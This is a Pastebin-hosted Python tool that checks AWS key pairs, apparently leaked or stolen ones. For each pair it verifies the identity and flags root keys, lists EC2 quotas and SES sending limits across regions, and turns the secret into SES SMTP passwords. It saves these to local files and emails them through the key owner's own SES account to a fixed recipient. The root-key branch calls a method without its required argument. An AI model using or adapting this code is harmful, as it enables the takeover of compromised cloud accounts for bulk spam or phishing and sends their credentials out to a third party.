Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import boto3
- import botocore
- import sys
- import hmac
- import hashlib
- import base64
- class CreateSMTP:
- def __init__(self, aws_secret: str):
- self.aws_secret = aws_secret
- self.DATE = "11111111"
- self.SERVICE = "ses"
- self.MESSAGE = "SendRawEmail"
- self.TERMINAL = "aws4_request"
- self.VERSION = 0x04
- def Sign(self, key, msg):
- return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()
- def calculate_key(self, region: str):
- signature = self.Sign(("AWS4" + self.aws_secret).encode('utf-8'), self.DATE)
- signature = self.Sign(signature, region)
- signature = self.Sign(signature, self.SERVICE)
- signature = self.Sign(signature, self.TERMINAL)
- signature = self.Sign(signature, self.MESSAGE)
- signature_and_version = bytes([self.VERSION]) + signature
- SMTP_PASSWORD = base64.b64encode(signature_and_version)
- return SMTP_PASSWORD.decode('utf-8')
- # save file
- def save_file(file_name, file_content):
- with open(file_name, "a") as file:
- file.write(file_content + "\n")
- file.close()
- def build_aws_key(key, secret):
- aws_key = key + "|" + secret + "|" + "us-east-1"
- return aws_key
- # configure aws
- def check_aws(key, secret):
- aws_key = build_aws_key(key, secret)
- try:
- session = boto3.Session(
- aws_access_key_id=key,
- aws_secret_access_key=secret,
- region_name="us-east-1"
- )
- check_identity = session.client("sts").get_caller_identity()
- check = Check(aws_key, session)
- if check_identity:
- save_file("valid_aws_key.txt", aws_key)
- if "root" in check_identity["Arn"]:
- print("Root Aws Key > " + key)
- save_file("root_aws_key.txt", aws_key)
- check.check_ses()
- check.check_ec2()
- else:
- print("Valid Aws Key > " + key)
- check.check_ses(secret)
- check.check_ec2()
- except botocore.exceptions.ClientError as error:
- er = error.response["Error"]["Code"]
- if er == "InvalidClientTokenId":
- print("Invalid Aws Key > " + key)
- elif er == "SignatureDoesNotMatch":
- print("Signature Does Not Match > " + key)
- else:
- print(er + " > " + key)
- except Exception as e:
- print(str(e))
- class Check(object):
- def __init__(self, aws_key, session):
- self.aws_key = aws_key
- self.session = session
- self.TO_MAIL = "[email protected]"
- self.region_list = [
- "us-east-1",
- "us-east-2",
- "us-west-1",
- "us-west-2",
- "ap-south-1",
- "ap-southeast-1",
- "ap-southeast-2",
- "ap-northeast-1",
- "ap-northeast-2",
- "ap-northeast-3",
- "ca-central-1",
- "eu-south-1",
- "eu-central-1",
- "eu-north-1",
- "eu-west-1",
- "eu-west-2",
- "eu-west-3",
- "sa-east-1",
- "me-south-1",
- ]
- def check_ec2(self):
- print("\nChecking EC2 List Quotas in all regions\n")
- all_save = self.aws_key + "\n"
- for reg in self.region_list:
- try:
- service_quotas = self.session.client(
- "service-quotas", region_name=reg).list_service_quotas(ServiceCode="ec2")
- quotas_list = service_quotas["Quotas"]
- Result = "Region: " + reg + "\n"
- for quotas in quotas_list:
- if "All" in str(quotas):
- quotaname = quotas["QuotaName"]
- value = quotas["Value"]
- Result += quotaname + ": " + str(value) + "\n"
- all_save += Result + "\n"
- print(Result)
- except botocore.exceptions.ClientError as error:
- er = error.response["Error"]["Code"]
- if er == "AccessDeniedException":
- print("Access Denied for EC2\n")
- break
- elif er == "UnrecognizedClientException":
- print("Region " + reg + " locked for EC2\n")
- else:
- print(str(error))
- except botocore.exceptions.ReadTimeoutError:
- print("Cant connect to EC2 " + reg + " endpoint\n")
- except KeyboardInterrupt:
- continue
- except Exception as e:
- print(str(e))
- if "Region" in all_save:
- save_file("ec2_quotas.txt", all_save)
- def check_ses(self, sec):
- print("\nChecking SES in all regions\n")
- all_save = self.aws_key + "\n"
- for reg in self.region_list:
- try:
- sesv2 = self.session.client("sesv2", region_name=reg)
- check_account = sesv2.get_account()
- status = check_account["EnforcementStatus"]
- quota = check_account["SendQuota"]
- max24 = quota["Max24HourSend"]
- maxsend = quota["MaxSendRate"]
- sentlast = quota["SentLast24Hours"]
- # checking identity
- identity = ""
- identities = self.session.client(
- "ses", region_name=reg).list_identities()["Identities"]
- if len(identities) > 0:
- identity = "SES Identity : " + ", ".join(identities)
- else:
- identity = "No SES Identities found"
- Result = "Region: " + reg + "\nStatus: " + status + "\nMax24HourSend: " + \
- str(max24) + "\nMaxSendRate: " + str(maxsend) + \
- "\nSentLast24Hours: " + \
- str(sentlast) + "\n" + identity + "\n"
- all_save += Result + "\n"
- print(Result)
- if len(identities) > 0:
- if status != 'SHUTDOWN' and int(max24) != 200:
- SMTP_HOST = 'email-smtp.{}.amazonaws.com'.format(reg)
- SMTP_PORT = "587"
- SMTP_USERNAME = sec
- SMTP_PASSWORD = CreateSMTP(sec).calculate_key(reg)
- """SMTP INFORMATION"""
- SMTP_CREDS = '''\tSMTP INFORMATION
- SMTP HOST = {SMTP_HOST}
- SMTP PORT = {SMTP_PORT}
- SMTP USERNAME = {SMTP_USERNAME}
- SMTP PASSWORD = {SMTP_PASSWORD}
- FROM EMAIL = {FROM_MAIL}
- '''
- SM = SMTP_CREDS.format(SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD, FROM_MAIL=(', '.join(identities) if len(identities) > 0 else 'No Domain Or FM Found'))
- print(SM)
- with open('SMTP_SES.txt', 'a') as smtp:
- smtp.write(SM)
- if len(identities) > 0:
- for FromMail in identities:
- if '@' in FromMail:
- FM = FromMail
- else:
- FM = 'admin@{}'.format(FromMail)
- SMTPS = SMTP_CREDS.format(FROM_MAIL=FM, SMTP_HOST=SMTP_HOST, SMTP_PORT=SMTP_PORT, SMTP_USERNAME=SMTP_USERNAME, SMTP_PASSWORD=SMTP_PASSWORD)
- Message = Result + '\n' + SMTPS
- self.SendEmail(self.session.client("ses", region_name=reg), FM, Message
- )
- else:
- pass
- else:
- pass
- except botocore.exceptions.ClientError as error:
- er = error.response["Error"]["Code"]
- if er == "AccessDeniedException":
- print("Access Denied for SESV2\n")
- break
- elif er == "UnrecognizedClientException":
- print("Region " + reg + " locked for SESV2\n")
- else:
- print(str(error))
- except botocore.exceptions.ReadTimeoutError:
- print("Cant connect to SESV2 " + reg + " endpoint\n")
- except KeyboardInterrupt:
- continue
- except Exception as e:
- print(str(e))
- if "Region" in all_save:
- save_file("sesv2_aws_key.txt", all_save)
- def SendEmail(self, Client: boto3.Session, FROM_MAIL, MESSAGE):
- try:
- Client.send_email(
- Source=FROM_MAIL,
- Destination={
- 'ToAddresses': [
- self.TO_MAIL,
- ],
- },
- Message={
- 'Subject': {
- 'Data': 'AWS SES RESULT',
- 'Charset': 'UTF-8'
- },
- 'Body': {
- 'Text': {
- 'Data': MESSAGE,
- 'Charset': 'UTF-8'
- },
- }
- }
- )
- print('[+] Email Sent To {} From {} \n\n'.format(self.TO_MAIL, FROM_MAIL))
- except Exception:
- print("[-] Failed Sent To {} From {} \n\n".format(self.TO_MAIL, FROM_MAIL))
- if __name__ == "__main__":
- key = input("Enter your aws key: ")
- secret = input("Enter your aws secret: ")
- check_aws(key, secret)
- sys.exit(input("Press any key to exit"))
Add Comment
Please, Sign In to add comment